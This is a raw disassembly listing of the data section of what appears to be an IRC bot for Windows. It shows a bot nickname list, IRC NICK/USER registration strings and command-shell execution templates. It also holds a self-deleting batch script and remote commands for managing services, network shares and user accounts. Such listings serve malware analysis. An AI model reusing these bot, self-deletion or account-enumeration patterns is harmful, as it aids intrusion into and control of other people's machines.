off_4387F8	dd offset loc_594F41+1	; DATA XREF: ___:00438738o
aFree		db 'Free',0             ; DATA XREF: ___:00438724o
		align 4
aFuck_0		db 'Fuck',0             ; DATA XREF: ___:00438720o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: ___:00438714o
		align 4
aF_2		db '^^^f^',0            ; DATA XREF: ___:00438708o
		align 10h
aSad		db 'Sad',0              ; DATA XREF: ___:00438704o
aLuvu		db 'LUVU',0             ; DATA XREF: ___:00438700o
		align 4
a___0		db '_|_',0              ; DATA XREF: ___:004386E4o
aBbl		db '|bbl',0             ; DATA XREF: ___:004386D8o
		align 4
off_438838	dd offset loc_425242	; DATA XREF: ___:004386D4o
aMuckc		db 'muckc',0            ; DATA XREF: ___:004386C0o
		align 4
aTruck		db 'truck',0            ; DATA XREF: ___:004386BCo
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: ___:004386B8o
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: ___:004386B4o
		align 4
aUi		db 'ui',0               ; DATA XREF: ___:004386B0o
		align 10h
aSdf		db 'sdf',0              ; DATA XREF: ___:004386ACo
aRt		db 'rt',0               ; DATA XREF: ___:004386A8o
		align 4
aGf		db 'gf',0               ; DATA XREF: ___:004386A4o
		align 4
aTy		db 'ty',0               ; DATA XREF: ___:004386A0o
		align 10h
aRg		db 'rg',0               ; DATA XREF: ___:0043869Co
		align 4
aHappy		db 'happy',0            ; DATA XREF: ___:00438698o
		align 4
aRs		db 'rs',0               ; DATA XREF: ___:00438678o
		align 10h
aQ8A		db '|q8|a',0            ; DATA XREF: ___:00438630o
		align 4
aQ8		db 'Q8',0               ; DATA XREF: ___:0043862Co
		align 4
aSick		db 'sick}}',0           ; DATA XREF: ___:00438628o
		align 4
aWiked		db '|wiked|',0          ; DATA XREF: ___:00438624o
aLuvuF		db '||luvu-f|',0        ; DATA XREF: ___:00438620o
		align 4
aGens		db '{gens|',0           ; DATA XREF: ___:0043861Co
		align 10h
aSex_0		db '{sex}',0            ; DATA XREF: ___:00438618o
		align 4
aHub		db '{hub}',0            ; DATA XREF: ___:00438614o
		align 10h
aLuck		db '|luck|',0           ; DATA XREF: ___:00438610o
		align 4
aSuck		db '|suck|',0           ; DATA XREF: ___:0043860Co
		align 10h
aTot		db '-|tot|',0           ; DATA XREF: ___:00438608o
		align 4
aWoh		db '|woh|',0            ; DATA XREF: ___:00438604o
		align 10h
aTambe		db '|tambe|',0          ; DATA XREF: ___:00438600o
aLag		db 'lag',0              ; DATA XREF: ___:004385FCo
aBad		db 'bad',0              ; DATA XREF: ___:004385F8o
aTree		db 'tree',0             ; DATA XREF: ___:004385F4o
		align 4
aZex		db 'zex',0              ; DATA XREF: ___:004385F0o
aLez		db 'lez',0              ; DATA XREF: ___:004385ECo
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: ___:004385E4o
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: ___:004385E0o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: ___:004385DCo
		align 10h
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: ___:004385D8o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: ___:004385D4o
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: ___:004385D0o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: ___:004385CCo
		align 10h
aRerpjj		db 'RERPJJ',0           ; DATA XREF: ___:004385C8o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: ___:004385C4o
		align 10h
aCool30m	db 'cool30m',0          ; DATA XREF: ___:004385C0o
aTropikal	db 'tropikal',0         ; DATA XREF: ___:004385BCo
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: ___:004385B8o
		align 10h
aNeHaber	db 'NE-HABER',0         ; DATA XREF: ___:004385B4o
		align 4
aUla		db 'ula',0              ; DATA XREF: ___:004385B0o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: ___:004385ACo
aAkden		db 'akden',0            ; DATA XREF: ___:004385A8o
		align 10h
aKoray		db 'KORAY',0            ; DATA XREF: ___:004385A4o
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: ___:004385A0o
		align 10h
aFirtina	db 'firtina',0          ; DATA XREF: ___:0043859Co
aAdamm33	db 'AdAMM33',0          ; DATA XREF: ___:00438598o
aM41ist		db 'M41IST',0           ; DATA XREF: ___:00438594o
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: ___:00438590o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: ___:0043858Co
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: ___:00438588o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: ___:00438584o
		align 4
aDevre		db 'devre',0            ; DATA XREF: ___:00438580o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: ___:0043857Co
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: ___:00438578o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: ___:00438574o
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: ___:00438570o
		align 4
off_438A18	dd offset byte_4B5245	; DATA XREF: ___:0043856Co
aSevda		db 'sevda',0            ; DATA XREF: ___:00438568o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: ___:00438564o
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: ___:00438560o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: ___:0043855Co
		align 10h
aKapk		db 'kapk',0             ; DATA XREF: ___:00438558o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: ___:00438554o
		align 4
aHayran		db 'hayran',0           ; DATA XREF: ___:00438550o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: ___:0043854Co
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: ___:00438548o
		align 10h
aDjspace	db 'DJSPACE',0          ; DATA XREF: ___:00438544o
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: ___:00438540o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: ___:0043853Co
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: ___:00438538o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: ___:00438534o
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: ___:00438530o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: ___:0043852Co
		align 10h
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: ___:00438528o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: ___:00438524o
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: ___:00438520o
		align 10h
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: ___:0043851Co
		align 10h
aMahinur	db 'MAHINUR',0          ; DATA XREF: ___:00438518o
aHoly		db 'holy',0             ; DATA XREF: ___:00438514o
		align 10h
aFlord		db 'FLoRD',0            ; DATA XREF: ___:00438510o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: ___:0043850Co
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: ___:00438508o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: ___:00438504o
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: ___:00438500o
		align 10h
aRamtha		db 'RAMTHA',0           ; DATA XREF: ___:004384FCo
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: ___:004384F8o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: ___:004384F4o
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: ___:004384F0o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: ___:004384ECo
aArda		db 'arda',0             ; DATA XREF: ___:004384E8o
		align 4
aDevran		db 'devran',0           ; DATA XREF: ___:004384E4o
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: ___:004384E0o
aDenizlim	db 'DenizliM',0         ; DATA XREF: ___:004384DCo
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: ___:004384D8o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: ___:004384D4o
		align 10h
aBogac		db 'bogac',0            ; DATA XREF: ___:004384D0o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: ___:004384CCo
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: ___:004384C8o
		align 4
off_438BAC	dd offset byte_457441	; DATA XREF: ___:004384C4o
dword_438BB0	dd 414C5941h, 2Dh	; DATA XREF: ___:004384C0o
aAlbina		db 'albina',0           ; DATA XREF: ___:004384BCo
		align 10h
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: ___:004384B8o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: ___:004384B4o
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: ___:004384B0o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: ___:004384ACo
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: ___:004384A8o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: ___:004384A4o
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: ___:004384A0o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: ___:0043849Co
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: ___:00438498o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: ___:00438494o
aAslii		db 'aslii',0            ; DATA XREF: ___:00438490o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: ___:0043848Co
aHaticem	db 'haticem',0          ; DATA XREF: ___:00438488o
aArzu		db 'ARZU',0             ; DATA XREF: ___:00438484o
		align 10h
aSudenur	db 'SUDENUR',0          ; DATA XREF: ___:00438480o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: ___:0043847Co
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: ___:00438478o
		align 10h
aTekir		db 'tekir',0            ; DATA XREF: ___:00438474o
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: ___:00438470o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: ___:0043846Co
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: ___:00438468o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: ___:00438464o
		align 4
aMary_0		db 'MARY',0             ; DATA XREF: ___:00438460o
		align 4
aJericho	db 'JERICHO',0          ; DATA XREF: ___:0043845Co
aTolga34	db 'Tolga34',0          ; DATA XREF: ___:00438458o
aMisssunday	db 'misssunday',0       ; DATA XREF: ___:00438454o
		align 10h
aIrmal		db 'irmal',0            ; DATA XREF: ___:00438450o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: ___:0043844Co
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: ___:00438448o
		align 10h
aHexaaa		db 'hexaaa',0           ; DATA XREF: ___:00438444o
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: ___:00438440o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: ___:0043843Co
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: ___:00438438o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: ___:00438434o
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: ___:00438430o
aReshma		db 'reshma',0           ; DATA XREF: ___:0043842Co
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: ___:00438428o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: ___:00438424o
		align 4
aImra		db 'imra',0             ; DATA XREF: ___:00438420o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: ___:0043841Co
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: ___:00438418o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: ___:00438414o
		align 4
aManee		db 'manee',0            ; DATA XREF: ___:00438410o
		align 4
aTroller	db 'troller',0          ; DATA XREF: ___:0043840Co
aLuisa		db 'Luisa',0            ; DATA XREF: ___:00438408o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: ___:00438404o
		align 10h
aRimpy		db 'rimpy',0            ; DATA XREF: ___:00438400o
		align 4
aJanno		db 'janno',0            ; DATA XREF: ___:004383FCo
		align 10h
aBunty		db 'bunty',0            ; DATA XREF: ___:004383F8o
		align 4
aHeval		db 'heval',0            ; DATA XREF: ___:004383F4o
		align 10h
aCme		db 'cme',0              ; DATA XREF: ___:004383F0o
aMarcy		db 'marcy',0            ; DATA XREF: ___:004383ECo
		align 4
aTalika		db 'talika',0           ; DATA XREF: ___:004383E8o
		align 4
aShez		db 'Shez',0             ; DATA XREF: ___:004383E4o
		align 4
aKen		db 'ken',0              ; DATA XREF: ___:004383E0o
aFlexster	db 'flexster',0         ; DATA XREF: ___:004383DCo
		align 4
aKoko		db 'koko',0             ; DATA XREF: ___:004383D8o
		align 4
aMale		db 'male',0             ; DATA XREF: ___:004383D4o
		align 4
aSwin		db 'swin',0             ; DATA XREF: ___:004383D0o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: ___:004383CCo
aKrizha		db 'KRIZHA',0           ; DATA XREF: ___:004383C8o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: ___:004383C4o
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: ___:004383C0o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: ___:004383BCo
aFarooq		db 'farooq',0           ; DATA XREF: ___:004383B8o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: ___:004383B4o
		align 4
aM_0:					; DATA XREF: ___:004383B0o
					; ___:004386FCo
		unicode	0, <M>,0
word_438E18	dw 4Eh			; DATA XREF: sub_419E7A+38r
					; ___:004383ACo
		align 4
dword_438E1C	dd 42h			; DATA XREF: ___:004383A8o
dword_438E20	dd 56h			; DATA XREF: ___:004383A4o
dword_438E24	dd 43h			; DATA XREF: ___:004383A0o
dword_438E28	dd 58h			; DATA XREF: ___:0043839Co
					; ___:00438730o
dword_438E2C	dd 5Ah			; DATA XREF: ___:00438398o
dword_438E30	dd 4Ch			; DATA XREF: ___:00438394o
dword_438E34	dd 4Bh			; DATA XREF: ___:00438390o
dword_438E38	dd 4Ah			; DATA XREF: ___:0043838Co
dword_438E3C	dd 48h			; DATA XREF: ___:00438388o
dword_438E40	dd 47h			; DATA XREF: ___:00438384o
dword_438E44	dd 46h			; DATA XREF: ___:00438380o
					; ___:004386F8o
dword_438E48	dd 44h			; DATA XREF: ___:0043837Co
dword_438E4C	dd 53h			; DATA XREF: ___:00438378o
dword_438E50	dd 50h			; DATA XREF: ___:00438370o
dword_438E54	dd 4Fh			; DATA XREF: ___:0043836Co
dword_438E58	dd 55h			; DATA XREF: ___:00438364o
word_438E5C	dw 59h			; DATA XREF: sub_41A19E+38r
					; ___:00438360o
		align 10h
dword_438E60	dd 54h			; DATA XREF: ___:0043835Co
dword_438E64	dd 52h			; DATA XREF: ___:00438358o
dword_438E68	dd 45h			; DATA XREF: ___:00438354o
dword_438E6C	dd 57h			; DATA XREF: ___:00438350o
dword_438E70	dd 51h			; DATA XREF: ___:0043834Co
dword_438E74	dd 62h			; DATA XREF: ___:00438340o
					; ___:00438634o ...
dword_438E78	dd 78h			; DATA XREF: ___:00438334o
					; ___:0043868Co
dword_438E7C	dd 7Ah			; DATA XREF: ___:00438330o
					; ___:00438694o ...
dword_438E80	dd 68h			; DATA XREF: ___:00438320o
					; ___:0043864Co
dword_438E84	dd 67h			; DATA XREF: ___:0043831Co
					; ___:00438648o ...
dword_438E88	dd 66h			; DATA XREF: ___:00438318o
					; ___:00438644o
dword_438E8C	dd 79h			; DATA XREF: ___:004382FCo
					; ___:00438690o
dword_438E90	dd 77h			; DATA XREF: ___:004382ECo
					; ___:00438688o
dword_438E94	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_4177D0+B1o
dword_438EA0	dd 323334h		; DATA XREF: sub_4177D0+79o
dword_438EA4	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_4177D0+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_4178BB+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 10h
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417ADE+BCo
					; sub_417ADE+175r ...
		align 4
		dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814D+72o
		align 10h
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_418294+1Co
		align 10h
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418338+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_41835A+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_41835A+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_41835A+48o
		align 4
unk_43901C	db  2Dh	; -		; DATA XREF: sub_4184E2+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_43904C	db  2Dh	; -		; DATA XREF: sub_4184E2+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_439074	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_4184E2+5Co
		dd 65726165h, 64h
off_439090	dd offset aAdd		; DATA XREF: sub_4186C2+60r
					; sub_418A99+51r ...
					; "Add"
off_439094	dd offset aAdded	; DATA XREF: sub_4186C2+2Dr
					; sub_418A99+83r ...
					; "Added"
dword_439098	dd 0			; DATA XREF: sub_4186C2+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 439104h, 4390FCh,	2, 4390F0h, 4390E4h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:004390C4o
aStop_0		db 'Stop',0             ; DATA XREF: ___:004390C0o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:004390B8o
aStart_0	db 'Start',0            ; DATA XREF: ___:004390B4o
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:004390ACo
		align 4
aList_1		db 'List',0             ; DATA XREF: ___:004390A8o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:004390A0o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:0043909Co
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_439094o
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_439090o
unk_439158	db  2Dh	; -		; DATA XREF: sub_4186C2+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_43917C	db  2Dh	; -		; DATA XREF: sub_4186C2+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 4
unk_4391A8	db  2Dh	; -		; DATA XREF: sub_4186C2+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DE+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_4187DE:loc_4188F6o
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_4187DE:loc_4188EFo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_4187DE:loc_4188E8o
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_4187DE:loc_4188E1o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_4187DE:loc_4188DAo
		db ' correct access rights.',0
		align 10h
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_4187DE:loc_4188D3o
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_4187DE:loc_4188CCo
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_4187DE:loc_4188C5o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_4187DE:loc_4188BEo
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_4187DE:loc_4188B7o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_4187DE:loc_41888Co
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_4187DE:loc_418885o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_4187DE:loc_41887Eo
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_4187DE:loc_418877o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_4187DE+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_4187DE:loc_41884Co
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_4187DE:loc_418842o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_4187DE:loc_418838o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_4187DE:loc_41882Eo
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_4187DE:loc_418824o
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DE+3Co
		align 10h
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_41895C+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_41895C:loc_418A28o
aStarting	db '   Starting',0      ; DATA XREF: sub_41895C:loc_418A21o
aStoping	db '    Stoping',0      ; DATA XREF: sub_41895C:loc_418A1Ao
aRunning	db '    Running',0      ; DATA XREF: sub_41895C:loc_418A13o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_41895C:loc_418A0Co
aPausing	db '    Pausing',0      ; DATA XREF: sub_41895C:loc_418A05o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_41895C:loc_4189FEo
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_41895C+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_41895C+25o
		align 4
unk_4396FC	db  2Dh	; -		; DATA XREF: sub_418A99+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 10h
dword_439720	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418A99+8Ao
		dd 73252720h, 27h
unk_43973C	db  2Dh	; -		; DATA XREF: sub_418A99+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8F+D0o
		align 10h
aNo		db 'No',0               ; DATA XREF: sub_418C8F+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_418C8F+B5o
unk_439788	db  2Dh	; -		; DATA XREF: sub_418C8F+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 10h
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_418C8F+26o
		align 4
unk_4397E8	db  2Dh	; -		; DATA XREF: sub_418DB0+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 10h
unk_439810	db  2Dh	; -		; DATA XREF: sub_418DB0+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 10h
unk_439840	db  2Dh	; -		; DATA XREF: sub_418DB0+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 10h
unk_439860	db  2Dh	; -		; DATA XREF: sub_418EF7+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF7+385o
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF7+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF7+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_418EF7+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_418EF7+2D9o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_418EF7+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_418EF7+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_418EF7+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF7+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF7+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_418EF7+1D7o
		align 10h
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_418EF7+1ACo
		align 10h
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_418EF7+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_418EF7+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF7+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_418EF7:loc_419016o
		align 10h
aUser_1		db 'User',0             ; DATA XREF: sub_418EF7:loc_41900Fo
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_418EF7:loc_419008o
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_418EF7+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_418EF7+AFo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_418EF7+84o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_418EF7+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4192E0+14Fo
		align 4
unk_439A1C	db  2Dh	; -		; DATA XREF: sub_4192E0+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 4
aS_4		db '  %S',0             ; DATA XREF: sub_4192E0+BEo
		align 10h
unk_439A50	db  2Dh	; -		; DATA XREF: sub_4192E0+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4192E0+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_419460:loc_41957Do
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_419460:loc_419576o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_419460:loc_41956Fo
		align 10h
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_419460:loc_419568o
		align 10h
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_419460:loc_419561o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_419460:loc_419544o
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_419460:loc_41953Do
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_419460:loc_419536o
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_419460+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_419460:loc_41950Bo
